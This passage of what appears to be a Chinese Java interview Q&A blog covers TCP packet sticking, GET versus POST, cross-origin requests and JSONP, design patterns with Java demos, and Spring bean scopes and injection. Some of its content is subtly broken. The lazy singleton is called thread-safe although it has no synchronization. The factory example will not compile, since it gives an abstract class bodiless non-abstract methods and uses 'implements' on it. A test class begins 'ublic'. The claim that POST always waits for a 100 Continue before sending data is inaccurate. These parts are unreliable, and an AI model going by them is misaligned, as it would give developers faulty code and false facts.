  TCP接收到分组时,并不会立刻送至应用层处理,或者说,应用层并不一定会立即处理;实际上,TCP将收到的分组保存至接收缓存里,然后应用程序主动从缓存里读收到的分组。这样一来,如果TCP接收分组的速度大于应用程序读分组的速度,多个包就会被存至缓存,应用程序读时,就会读到多个首尾相接粘到一起的包。

3 什么时候需要处理粘包现象

  (1)如果发送方发送的多个分组本来就是同一个数据的不同部分,比如一个很大的文件被分成多个分组发送,这时,当然不需要处理粘包的现象;

  (2)但如果多个分组本毫不相干,甚至是并列的关系,我们就一定要处理粘包问题了。比如,我当时要接收的每个分组都是一个有固定格式的商品信息,如果不处理粘包问题,每个读进来的分组我只会处理最前边的那个商品,后边的就会被丢弃。这显然不是我要的结果。

4 如何处理粘包现象

  (1)发送方

  对于发送方造成的粘包现象,我们可以通过关闭Nagle算法来解决,使用TCP_NODELAY选项来关闭Nagle算法。

  (2)接收方

  遗憾的是TCP并没有处理接收方粘包现象的机制,我们只能在应用层进行处理。

  (3)应用层处理

  应用层的处理简单易行!并且不仅可以解决接收方造成的粘包问题,还能解决发送方造成的粘包问题。

  解决方法就是循环处理:应用程序在处理从缓存读来的分组时,读完一条数据时,就应该循环读下一条数据,直到所有的数据都被处理;但是如何判断每条数据的长度呢?

  两种途径:

    1)格式化数据:每条数据有固定的格式(开始符、结束符),这种方法简单易行,但选择开始符和结束符的时候一定要注意每条数据的内部一定不能出现开始符或结束符;

    2)发送长度:发送每条数据的时候,将数据的长度一并发送,比如可以选择每条数据的前4位是数据的长度,应用层处理时可以根据长度来判断每条数据的开始和结束。

  当时在做购物车的时候,我最开始的做法是设置开始符(0x7e)和结束符(0xe7),但在测试大量数据的时候,发现了数据异常。正如我所猜测,在调试过程中发现某些数据内部包含了它们。因为要处理的数据是量非常庞大,为做到万无一失,最后我采用了发送长度的方式。再也没有因为粘包而出过问题。

84.OSI 的七层模型都有哪些?

85.get 和 post 请求有哪些区别?

  • GET在浏览器回退时是无害的,而POST会再次提交请求。

     

  • GET产生的URL地址可以被Bookmark,而POST不可以。

     

  • GET请求会被浏览器主动cache,而POST不会,除非手动设置。

     

  • GET请求只能进行url编码,而POST支持多种编码方式。

     

  • GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。

     

  • GET请求在URL中传送的参数是有长度限制的,而POST么有。

     

  • 对参数的数据类型,GET只接受ASCII字符,而POST没有限制。

     

  • GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。

     

  • GET参数通过URL传递,POST放在Request body中。

 

1.post请求包含更多的请求头

  因为post需要在请求的body部分包含数据,所以会多了几个数据描述部分的首部字段(如content-type),这其实是微乎其微的

2.最重要的一条,post在真正接受数据之前会先将请求头发送给服务器进行确认,然后才真正发送数据

  post请求的过程:

  1.浏览器请求tcp连接(第一次握手)

  2.服务器答应进行tcp连接(第二次握手)

  3.浏览器确认,并发送post请求头(第三次握手,这个报文比较小,所以http会在此时进行第一次数据发送)

  4.服务器返回100 continue响应

  5.浏览器开始发送数据

  6.服务器返回200 ok响应

 

  get请求的过程

    1.浏览器请求tcp连接(第一次握手)

  2.服务器答应进行tcp连接(第二次握手)

  3.浏览器确认,并发送get请求头和数据(第三次握手,这个报文比较小,所以http会在此时进行第一次数据发送)

  4.服务器返回200 ok响应

 

  也就是说,目测get的总耗是post的2/3左右

3.get会将数据缓存起来,而post不会

  可以做个简短的测试,使用ajax采用get方式请求静态数据(比如html页面,图片)的时候,如果两次传输的数据相同,第二次以后耗费的时间将在10ms以内(chrome测试),而post每次耗费的时间都差不多……

  经测试,chrome下和firefox下如果检测到get请求的是静态资源,则会缓存,如果是数据,则不缓存,但是IE这个傻X啥都会缓存起来

86.如何实现跨域? 

跨域:当浏览器执行脚本时会检查是否同源,只有同源的脚本才会执行,如果不同源即为跨域。

这里的同源指访问的协议、域名、端口都相同。
同源策略是由 Netscape 提出的著名安全策略,是浏览器最核心、基本的安全功能,它限制了一个源中加载脚本与来自其他源中资源的交互方式。
Ajax 发起的跨域 HTTP 请求,结果被浏览器拦截,同时 Ajax 请求不能携带与本网站不同源的 Cookie。
<script> <img> <iframe> <link> <video> <audio> 等带有 src 属性的标签可以从不同的域加载和执行资源。 
 

如当使用 ajax 提交非同源的请求时,浏览器就会阻止请求。提示
Access to XMLHttpRequest at '...' from origin '...' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

 

如何实现跨域请求呢?
1、jsonp
利用了 script 不受同源策略的限制
缺点:只能 get 方式,易受到 XSS攻击

2、CORS(Cross-Origin Resource Sharing),跨域资源共享
当使用XMLHttpRequest发送请求时,如果浏览器发现违反了同源策略就会自动加上一个请求头 origin;
后端在接受到请求后确定响应后会在后端在接受到请求后确定响应后会在 Response Headers 中加入一个属性 Access-Control-Allow-Origin;
浏览器判断响应中的 Access-Control-Allow-Origin 值是否和当前的地址相同,匹配成功后才继续响应处理,否则报错
缺点:忽略 cookie,浏览器版本有一定要求

3、代理跨域请求
前端向发送请求,经过代理,请求需要的服务器资源
缺点:需要额外的代理服务器

4、Html5 postMessage 方法
允许来自不同源的脚本采用异步方式进行有限的通信,可以实现跨文本、多窗口、跨域消息传递
缺点:浏览器版本要求,部分浏览器要配置放开跨域限制

5、修改 document.domain 跨子域
相同主域名下的不同子域名资源,设置 document.domain 为 相同的一级域名
缺点:同一一级域名;相同协议;相同端口

6、基于 Html5 websocket 协议
websocket 是 Html5 一种新的协议,基于该协议可以做到浏览器与服务器全双工通信,允许跨域请求
缺点:浏览器一定版本要求,服务器需要支持 websocket 协议

7、document.xxx + iframe
通过 iframe 是浏览器非同源标签,加载内容中转,传到当前页面的属性中
缺点:页面的属性值有大小限制
 

87.说一下 JSONP 实现原理?

1、一个众所周知的问题,Ajax直接请求普通文件存在跨域无权限访问的问题,甭管你是静态页面、动态网页、web服务、WCF,只要是跨域请求,一律不准。

2、不过我们又发现,Web页面上调用js文件时则不受是否跨域的影响(不仅如此,我们还发现凡是拥有”src”这个属性的标签都拥有跨域的能力,比如<\script>、<\img>、<\iframe>)。

3、于是可以判断,当前阶段如果想通过纯web端(ActiveX控件、服务端代理、属于未来的HTML5之Websocket等方式不算)跨域访问数据就只有一种可能,那就是在远程服务器上设法把数据装进js格式的文件里,供客户端调用和进一步处理。

4、恰巧我们已经知道有一种叫做JSON的纯字符数据格式可以简洁的描述复杂数据,更妙的是JSON还被js原生支持,所以在客户端几乎可以随心所欲的处理这种格式的数据。

5、这样子解决方案就呼之欲出了,web客户端通过与调用脚本一模一样的方式,来调用跨域服务器上动态生成的js格式文件(一般以JSON为后缀),显而易见,服务器之所以要动态生成JSON文件,目的就在于把客户端需要的数据装入进去。

6、客户端在对JSON文件调用成功之后,也就获得了自己所需的数据,剩下的就是按照自己需求进行处理和展现了,这种获取远程数据的方式看起来非常像AJAX,但其实并不一样。

7、为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

 

九、设计模式

 

88.说一下你熟悉的设计模式?

  • 单例模式

简单点说,就是一个应用程序中,某个类的实例对象只有一个,你没有办法去new,因为构造器是被private修饰的,一般通过getInstance()的方法来获取它们的实例。

getInstance()的返回值是一个对象的引用,并不是一个新的实例,所以不要错误的理解成多个对象。单例模式实现起来也很容易,直接看demo吧。

懒汉式写法(线程安全)

public class Singleton {

	//创建 Singleton 的一个对象
	private static Singleton instance;
	
	//让构造函数为 private,这样该类就不会被实例化
	private Singleton() {}
	
	//获取唯一可用的对象
	public static Singleton getInstance() {
 		if (instance== null) {
  			instance= new Singleton();
 		}
 		return instance;
	}
}

饿汉式写法

public class Singleton {  
   private static Singleton instance = new Singleton();  
   private Singleton (){}  
   public static Singleton getInstance() {
   	return instance;  
   }  
}

枚举 这种方式是Effective Java作者Josh Bloch 提倡的方式,它不仅能避免多线程同步问题,而且还能防止反序列化重新创建新的对象

public enum Singleton {  
   INSTANCE;  
   public void whateverMethod() {  
   }  
}

双重校验锁

public class Singleton {  
   private volatile static Singleton singleton;  
   private Singleton (){}  
   public static Singleton getSingleton() {
   	if (singleton == null) {
   		synchronized (Singleton.class) {  
   			if (singleton == null) {
   				singleton = new Singleton();  
      		}  
   		}  
   }  
   return singleton;  
  }  
}

  • 观察者模式

对象间一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被自动更新。

假设有三个人,小美(女,22),小王和小李。小美很漂亮,小王和小李是两个程序猿,时刻关注着小美的一举一动。有一天,小美说了一句:“谁来陪我打游戏啊。”这句话被小王和小李听到了,结果乐坏了,蹭蹭蹭,没一会儿,小王就冲到小美家门口了,在这里,小美是被观察者,小王和小李是观察者,被观察者发出一条信息,然后观察者们进行相应的处理,看代码:

public interface Person {
   //小王和小李通过这个接口可以接收到小美发过来的消息
   void getMessage(String s);
}

这个接口相当于小王和小李的电话号码,小美发送通知的时候就会拨打getMessage这个电话,拨打电话就是调用接口,看不懂没关系,先往下看

public class LaoWang implements Person {

   private String name = "小王";

   public LaoWang() {
   }

   @Override
   public void getMessage(String s) {
       System.out.println(name + "接到了小美打过来的电话,电话内容是:" + s);
   }

}

public class LaoLi implements Person {

   private String name = "小李";

   public LaoLi() {
   }

   @Override
   public void getMessage(String s) {
       System.out.println(name + "接到了小美打过来的电话,电话内容是:->" + s);
   }

}

代码很简单,我们再看看小美的代码:

public class XiaoMei {
   List<Person> list = new ArrayList<Person>();
    public XiaoMei(){
    }

    public void addPerson(Person person){
        list.add(person);
    }

    //遍历list,把自己的通知发送给所有暗恋自己的人
    public void notifyPerson() {
        for(Person person:list){
            person.getMessage("你们过来吧,谁先过来谁就能陪我一起玩儿游戏!");
        }
    }
}

我们写一个测试类来看一下结果对不对

ublic class Test {
   public static void main(String[] args) {

       XiaoMei xiao_mei = new XiaoMei();
       LaoWang lao_wang = new LaoWang();
       LaoLi lao_li = new LaoLi();

       //小王和小李在小美那里都注册了一下
       xiao_mei.addPerson(lao_wang);
       xiao_mei.addPerson(lao_li);

       //小美向小王和小李发送通知
       xiao_mei.notifyPerson();
   }
}

 

  • 装饰者模式

对已有的业务逻辑进一步的封装,使其增加额外的功能,如Java中的IO流就使用了装饰者模式,用户在使用的时候,可以任意组装,达到自己想要的效果。 举个栗子,我想吃三明治,首先我需要一根大大的香肠,我喜欢吃奶油,在香肠上面加一点奶油,再放一点蔬菜,最后再用两片面包夹一下,很丰盛的一顿午饭,营养又健康。那我们应该怎么来写代码呢? 首先,我们需要写一个Food类,让其他所有食物都来继承这个类,看代码:

public class Food {

   private String food_name;

   public Food() {
   }

   public Food(String food_name) {
       this.food_name = food_name;
   }

   public String make() {
       return food_name;
   };
}

代码很简单,我就不解释了,然后我们写几个子类继承它:

//面包类
public class Bread extends Food {

   private Food basic_food;

   public Bread(Food basic_food) {
       this.basic_food = basic_food;
   }

   public String make() {
       return basic_food.make()+"+面包";
   }
}

//奶油类
public class Cream extends Food {

   private Food basic_food;

   public Cream(Food basic_food) {
       this.basic_food = basic_food;
   }

   public String make() {
       return basic_food.make()+"+奶油";
   }
}

//蔬菜类
public class Vegetable extends Food {

   private Food basic_food;

   public Vegetable(Food basic_food) {
       this.basic_food = basic_food;
   }

   public String make() {
       return basic_food.make()+"+蔬菜";
   }

}

这几个类都是差不多的,构造方法传入一个Food类型的参数,然后在make方法中加入一些自己的逻辑,如果你还是看不懂为什么这么写,不急,你看看我的Test类是怎么写的,一看你就明白了

public class Test {
   public static void main(String[] args) {
       Food food = new Bread(new Vegetable(new Cream(new Food("香肠"))));
       System.out.println(food.make());
   }
}
  • 适配器模式

将两种完全不同的事物联系到一起,就像现实生活中的变压器。假设一个手机充电器需要的电压是20V,但是正常的电压是220V,这时候就需要一个变压器,将220V的电压转换成20V的电压,这样,变压器就将20V的电压和手机联系起来了。

public class Test {
   public static void main(String[] args) {
       Phone phone = new Phone();
       VoltageAdapter adapter = new VoltageAdapter();
       phone.setAdapter(adapter);
       phone.charge();
   }
}

// 手机类
class Phone {

   public static final int V = 220;// 正常电压220v,是一个常量

   private VoltageAdapter adapter;

   // 充电
   public void charge() {
       adapter.changeVoltage();
   }

   public void setAdapter(VoltageAdapter adapter) {
       this.adapter = adapter;
   }
}

// 变压器
class VoltageAdapter {
   // 改变电压的功能
   public void changeVoltage() {
       System.out.println("正在充电...");
       System.out.println("原始电压:" + Phone.V + "V");
       System.out.println("经过变压器转换之后的电压:" + (Phone.V - 200) + "V");
   }
}
  • 工厂模式
// 抽象产品类
abstract class Car {
   public void run();

   public void stop();
}

// 具体实现类
class Benz implements Car {
   public void run() {
       System.out.println("Benz开始启动了。。。。。");
   }

   public void stop() {
       System.out.println("Benz停车了。。。。。");
   }
}

class Ford implements Car {
   public void run() {
       System.out.println("Ford开始启动了。。。");
   }

   public void stop() {
       System.out.println("Ford停车了。。。。");
   }
}

// 工厂类
class Factory {
   public static Car getCarInstance(String type) {
       Car c = null;
       if ("Benz".equals(type)) {
           c = new Benz();
       }
       if ("Ford".equals(type)) {
           c = new Ford();
       }
       return c;
   }
}

public class Test {

   public static void main(String[] args) {
       Car c = Factory.getCarInstance("Benz");
       if (c != null) {
           c.run();
           c.stop();
       } else {
           System.out.println("造不了这种汽车。。。");
       }

   }

}

工厂方法模式:有四个角色,抽象工厂模式,具体工厂模式,抽象产品模式,具体产品模式。不再是由一个工厂类去实例化具体的产品,而是由抽象工厂的子类去实例化产品

// 抽象产品角色
public interface Moveable {
   void run();
}

// 具体产品角色
public class Plane implements Moveable {
   @Override
   public void run() {
       System.out.println("plane....");
   }
}

public class Broom implements Moveable {
   @Override
   public void run() {
       System.out.println("broom.....");
   }
}

// 抽象工厂
public abstract class VehicleFactory {
   abstract Moveable create();
}

// 具体工厂
public class PlaneFactory extends VehicleFactory {
   public Moveable create() {
       return new Plane();
   }
}

public class BroomFactory extends VehicleFactory {
   public Moveable create() {
       return new Broom();
   }
}

// 测试类
public class Test {
   public static void main(String[] args) {
       VehicleFactory factory = new BroomFactory();
       Moveable m = factory.create();
       m.run();
   }
}

抽象工厂模式:与工厂方法模式不同的是,工厂方法模式中的工厂只生产单一的产品,而抽象工厂模式中的工厂生产多个产品

//抽象工厂类
public abstract class AbstractFactory {
   public abstract Vehicle createVehicle();
   public abstract Weapon createWeapon();
   public abstract Food createFood();
}
//具体工厂类,其中Food,Vehicle,Weapon是抽象类,
public class DefaultFactory extends AbstractFactory{
   @Override
   public Food createFood() {
       return new Apple();
   }
   @Override
   public Vehicle createVehicle() {
       return new Car();
   }
   @Override
   public Weapon createWeapon() {
       return new AK47();
   }
}
//测试类
public class Test {
   public static void main(String[] args) {
       AbstractFactory f = new DefaultFactory();
       Vehicle v = f.createVehicle();
       v.run();
       Weapon w = f.createWeapon();
       w.shoot();
       Food a = f.createFood();
       a.printName();
   }
}
  • 代理模式(proxy)

有两种,静态代理和动态代理。先说静态代理,很多理论性的东西我不讲,我就算讲了,你们也看不懂。什么真实角色,抽象角色,代理角色,委托角色。。。乱七八糟的,我是看不懂。之前学代理模式的时候,去网上翻一下,资料一大堆,打开链接一看,基本上都是给你分析有什么什么角色,理论一大堆,看起来很费劲,不信的话你们可以去看看,我是看不懂他们在说什么。咱不来虚的,直接用生活中的例子说话。(注意:我这里并不是否定理论知识,我只是觉得有时候理论知识晦涩难懂,喜欢挑刺的人一边去,你是来学习知识的,不是来挑刺的)
到了一定的年龄,我们就要结婚,结婚是一件很麻烦的事情,(包括那些被父母催婚的)。有钱的家庭可能会找司仪来主持婚礼,显得热闹,洋气~好了,现在婚庆公司的生意来了,我们只需要给钱,婚庆公司就会帮我们安排一整套结婚的流程。整个流程大概是这样的:家里人催婚->男女双方家庭商定结婚的黄道即日->找一家靠谱的婚庆公司->在约定的时间举行结婚仪式->结婚完毕
婚庆公司打算怎么安排婚礼的节目,在婚礼完毕以后婚庆公司会做什么,我们一概不知。。。别担心,不是黑中介,我们只要把钱给人家,人家会把事情给我们做好。所以,这里的婚庆公司相当于代理角色,现在明白什么是代理角色了吧。

代码实现请看:

//代理接口
public interface ProxyInterface {
//需要代理的是结婚这件事,如果还有其他事情需要代理,比如吃饭睡觉上厕所,也可以写
void marry();
//代理吃饭(自己的饭,让别人吃去吧)
//void eat();
//代理拉屎,自己的屎,让别人拉去吧
//void shit();
}

 

好了,我们看看婚庆公司的代码:

public class WeddingCompany implements ProxyInterface {

private ProxyInterface proxyInterface;

public WeddingCompany(ProxyInterface proxyInterface) {
 this.proxyInterface = proxyInterface;
}

@Override
public void marry() {
	 System.out.println("我们是婚庆公司的");
	 System.out.println("我们在做结婚前的准备工作");
	 System.out.println("节目彩排...");
	 System.out.println("礼物购买...");
	 System.out.println("工作人员分工...");
	 System.out.println("可以开始结婚了");
	 proxyInterface.marry();
	 System.out.println("结婚完毕,我们需要做后续处理,你们可以回家了,其余的事情我们公司来做");
	}

}

看到没有,婚庆公司需要做的事情很多,我们再看看结婚家庭的代码:

public class NormalHome implements ProxyInterface{

	@Override
	public void marry() {
	 System.out.println("我们结婚啦~");
	}
}

这个已经很明显了,结婚家庭只需要结婚,而婚庆公司要包揽一切,前前后后的事情都是婚庆公司来做。
来看看测试类代码:

public class Test {
	public static void main(String[] args) {
		 ProxyInterface proxyInterface = new WeddingCompany(new NormalHome());
		 proxyInterface.marry();
		}
}

89.简单工厂和抽象工厂有什么区别?

简单工厂模式
是由一个工厂对象创建产品实例,简单工厂模式的工厂类一般是使用静态方法,通过不同的参数的创建不同的对象实例
可以生产结构中的任意产品,不能增加新的产品

 

抽象工厂模式
提供一个创建一系列相关或相互依赖对象的接口,而无需制定他们具体的类,生产多个系列产品
生产不同产品族的全部产品,不能新增产品,可以新增产品族
 

十、Spring/Spring MVC

90.为什么要使用 spring?

spring 是一个开源的轻量级 JavaBean 容器框架。使用 JavaBean 代替 EJB ,并提供了丰富的企业应用功能,降低应用开发的复杂性。

  • 轻量:非入侵性的、所依赖的东西少、资源占用少、部署简单,不同功能选择不同的 jar 组合
  • 容器:工厂模式实现对 JavaBean 进行管理,通过控制反转(IOC)将应用程序的配置和依赖性与应用代码分开
  • 松耦合:通过 xml 配置或注解即可完成 bean 的依赖注入
  • AOP:通过 xml 配置 或注解即可加入面向切面编程的能力,完成切面功能,如:日志,事务...的统一处理
  • 方便集成:通过配置和简单的对象注入即可集成其他框架,如 Mybatis、Hibernate、Shiro...
  • 丰富的功能:JDBC 层抽象、事务管理、MVC、Java Mail、任务调度、JMX、JMS、JNDI、EJB、动态语言、远程访问、Web Service... 

91.解释一下什么是 aop?

    在业务系统中,总有一些不得不处理的事情,我们
    将这些重复性的代码抽取出来,放在专门的类中,
    在通过spring的AOP的核心对代码段进行增强处理。
    在不改变原代码的基础上进行功能增强。有五种
    增强方式,前置增强,后置增强,环绕增强,引介增强。异常增强。

92.解释一下什么是 ioc?

IOC (Inversion Of Control,控制倒转),是spring的核心,贯穿始终,所谓IOC ,对于spring框架来说,就是由spring来负责控制对象的生命周期和对象间的关系。所有的类都会在spring容器中登记,告诉spring你是个什么,你需要什么,然后spring会在系统运行到适当的时候,把你要的东西主动给你,同时也把你交给其他需要你的东西。所有的类的创建、销毁都由 spring来控制,也就是说控制对象生存周期的不再是引用它的对象,而是spring。对于某个具体的对象而言,以前是它控制其他对象,现在是所有对象都被spring控制,所以这叫控制反转。
 

93.spring 有哪些主要模块?

1. Spring Core
框架的最基础部分,提供 IoC 容器,对 bean 进行管理。

2.Spring Context
基于 bean,提供上下文信息,扩展出JNDI、EJB、电子邮件、国际化、校验和调度等功能。

3.Spring DAO
提供了JDBC的抽象层,它可消除冗长的JDBC编码和解析数据库厂商特有的错误代码,还提供了声明性事务管理方法。

4.Spring ORM
提供了常用的“对象/关系”映射APIs的集成层。 其中包括JPA、JDO、Hibernate、MyBatis 等。

5.Spring AOP
提供了符合AOP Alliance规范的面向切面的编程实现。

6.Spring Web
提供了基础的 Web 开发的上下文信息,可与其他 web 进行集成。

7.Spring Web MVC
提供了 Web 应用的 Model-View-Controller 全功能实现。

94.spring 常用的注入方式有哪些?

常用的注入方式主要有三种:构造方法注入,setter注入,基于注解的注入。

95.spring 中的 bean 是线程安全的吗?

结论: 不是线程安全的

Spring容器中的Bean是否线程安全,容器本身并没有提供Bean的线程安全策略,因此可以说Spring容器中的Bean本身不具备线程安全的特性,但是具体还是要结合具体scope的Bean去研究。

Spring 的 bean 作用域(scope)类型
  1、singleton:单例,默认作用域。

  2、prototype:原型,每次创建一个新对象。

  3、request:请求,每次Http请求创建一个新对象,适用于WebApplicationContext环境下。

  4、session:会话,同一个会话共享一个实例,不同会话使用不用的实例。

  5、global-session:全局会话,所有会话共享一个实例。

线程安全这个问题,要从单例与原型Bean分别进行说明。

原型Bean
  对于原型Bean,每次创建一个新对象,也就是线程之间并不存在Bean共享,自然是不会有线程安全的问题。

单例Bean
  对于单例Bean,所有线程都共享一个单例实例Bean,因此是存在资源的竞争。

  如果单例Bean,是一个无状态Bean,也就是线程中的操作不会对Bean的成员执行查询以外的操作,那么这个单例Bean是线程安全的。比如Spring mvc 的 Controller、Service、Dao等,这些Bean大多是无状态的,只关注于方法本身。

spring单例,为什么controller、service和dao确能保证线程安全?

  Spring中的Bean默认是单例模式的,框架并没有对bean进行多线程的封装处理。
  实际上大部分时间Bean是无状态的(比如Dao) 所以说在某种程度上来说Bean其实是安全的。
  但是如果Bean是有状态的 那就需要开发人员自己来进行线程安全的保证,最简单的办法就是改变bean的作用域 把 "singleton"改为’‘protopyte’ 这样每次请求Bean就相当于是 new Bean() 这样就可以保证线程的安全了。

  有状态就是有数据存储功能
  无状态就是不会保存数据
  

  controller、service和dao层本身并不是线程安全的,只是如果只是调用里面的方法,而且多线程调用一个实例的方法,会在内存中复制变量,这是自己的线程的工作内存,是安全的。

96.spring 支持几种 bean 的作用域?

  • singleton:单例模式,在整个Spring IoC容器中,使用 singleton 定义的 bean 只有一个实例
  • prototype:原型模式,每次通过容器的getbean方法获取 prototype 定义的 bean 时,都产生一个新的 bean 实例

 

只有在 Web 应用中使用Spring时,request、session、global-session 作用域才有效

  • request:对于每次 HTTP 请求,使用 request 定义的 bean 都将产生一个新实例,即每次 HTTP 请求将会产生不同的 bean 实例。
  • session:同一个 Session 共享一个 bean 实例。
  • global-session:同 session 作用域不同的是,所有的Session共享一个Bean实例。

97.spring 自动装配 bean 有哪些方式?

1、no:默认方式,手动装配方式,需要通过ref设定bean的依赖关系
2、byName:根据bean的名字进行装配,当一个bean的名称和其他bean的属性一致,则自动装配
3、byType:根据bean的类型进行装配,当一个bean的属性类型与其他bean的属性的数据类型一致,则自动装配
4、constructor:根据构造器进行装配,与 byType 类似,如果bean的构造器有与其他bean类型相同的属性,则进行自动装配
5、autodetect:如果有默认构造器,则以constructor方式进行装配,否则以byType方式进行装配


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值